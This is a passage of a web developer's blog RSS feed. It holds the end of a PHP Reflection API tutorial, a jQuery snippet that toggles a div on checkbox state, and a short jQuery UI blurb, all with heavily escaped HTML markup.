&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; function php_check_syntax_external($sFile)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; php_check_syntax($sFile);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
Next, we need to determine what has been declared. There are three distinct functions for this job:&lt;br /&gt;
&lt;br /&gt;
get_defined_functions()&lt;br /&gt;
get_declared_classes()&lt;br /&gt;
get_declared_interfaces()&lt;br /&gt;
get_defined_functions() works differently than the other two in that it returns a multidimensional array. You can see the docs for the full details but for our purposes we will just simply specify the first degree key user.&lt;br /&gt;
&lt;br /&gt;
Listing 13 listing-13.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $aFuncs = get_defined_functions();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $aFuncs = $aFuncs['user'];&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
$aFuncs now contains an array of all user defined function names, to which you can loop and pass into ReflectionFunction($functionName).&lt;br /&gt;
&lt;br /&gt;
To get the classes and interfaces, we must use a combination of their list functions as well as reflection to determine if they are built-in or if they were created by the user.&lt;br /&gt;
&lt;br /&gt;
Listing 14 listing-14.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach(get_declared_classes() as $sClassName) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $oClassReflect = new ReflectionClass($sClassName);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($oClassReflect-&amp;gt;isUserDefined()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Do something&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Courtesy - http://www.phpriot.com/articles/reflection-api&lt;/p&gt;</description>
								         <pubDate>Sun, 06 Mar 2011 22:21:03 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/46/How-to-document-the-code-in-PHP?</guid>
								      </item>								      <item>
								         <title>Jquery way to hide/unhide div depending on checkbox status</title>
								         <link>http://www.nileshpawar.com/45/Jquery-way-to-hide/unhide-div-depending-on-checkbox-status</link>
								         <description>&lt;p&gt;&lt;span style=&quot;border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot; class=&quot;Apple-style-span&quot;&gt;&lt;span style=&quot;border-collapse: collapse; font-family: Arial,'Liberation Sans','DejaVu Sans',sans-serif; font-size: 14px; line-height: 18px; text-align: left;&quot; class=&quot;Apple-style-span&quot;&gt;
&lt;pre style=&quot;margin: 0px 0px 10px; padding: 5px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif; overflow: auto; width: auto; max-height: 600px;&quot; class=&quot;prettyprint&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;'#isAgeSelected'&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;':checked'&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;#txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;();&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;#txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;hide&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;();&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot; class=&quot;Apple-style-span&quot;&gt;&lt;span style=&quot;border-collapse: collapse; font-family: Arial,'Liberation Sans','DejaVu Sans',sans-serif; font-size: 14px; line-height: 18px; text-align: left;&quot; class=&quot;Apple-style-span&quot;&gt;
&lt;p style=&quot;margin: 0px 0px 1em; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; clear: both; word-wrap: break-word;&quot;&gt;You can shorten this using ternary, some might say it's a bit less readable, but that's how I would do it:&lt;/p&gt;
&lt;pre style=&quot;margin: 0px 0px 10px; padding: 5px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif; overflow: auto; width: auto; max-height: 600px;&quot; class=&quot;prettyprint&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;'#isAgeSelected'&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;':checked'&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;#txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;#txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;hide&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;();&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0px 0px 1em; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; clear: both; word-wrap: break-word;&quot;&gt;EDIT (14 months later): There's a much prettier way to do this, using&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 119, 204); text-decoration: none; cursor: pointer;&quot; rel=&quot;nofollow&quot; href=&quot;http://api.jquery.com/toggle/&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 1px 5px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif;&quot;&gt;toggle&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre style=&quot;margin: 0px 0px 10px; padding: 5px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif; overflow: auto; width: auto; max-height: 600px;&quot; class=&quot;prettyprint&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: rgb(238, 238, 238); font-family: Consolas,Menlo,Monaco,'Lucida Console','Liberation Mono','DejaVu Sans Mono','Bitstream Vera Sans Mono','Courier New',monospace,serif;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;'#isAgeSelected'&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;click&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; $&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;#txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;toggle&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;checked&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;});&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;input type&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;checkbox&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;isAgeSelected&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;div id&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;txtAge&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: maroon;&quot; class=&quot;str&quot;&gt;&amp;quot;display:none&amp;quot;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(43, 145, 175);&quot; class=&quot;typ&quot;&gt;Age&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: rgb(0, 0, 139);&quot; class=&quot;kwd&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt; something&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pun&quot;&gt;&amp;gt;&amp;#8203;&lt;/span&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border-width: 0px; font-size: 14px; vertical-align: baseline; background-color: transparent; color: black;&quot; class=&quot;pln&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
								         <pubDate>Tue, 21 Sep 2010 19:18:07 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/45/Jquery-way-to-hide/unhide-div-depending-on-checkbox-status</guid>
								      </item>								      <item>
								         <title>JQuery UI, easy to implement and most effective library</title>
								         <link>http://www.nileshpawar.com/44/JQuery-UI,-easy-to-implement-and-most-effective-library</link>
								         <description>&lt;p&gt;jQuery UI provides a comprehensive set of core interaction plugins, UI widgets and visual effects that use a jQuery-style, event-driven architecture and a focus on web standards, accessiblity, flexible styling, and user-friendly design. All plugins are tested for compatibility in IE 6.0+, FF 2+, Safari 3.1+, Opera 9.0+, and Google Chrome.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;For more information &lt;a href=&quot;http://jqueryui.com/demos/&quot;&gt;click here&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Wed, 28 Jul 2010 05:39:13 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/44/JQuery-UI,-easy-to-implement-and-most-effective-library</guid>
								      </item>								      <item>
								         <title>Simple File Version Management Application in PHP</title>
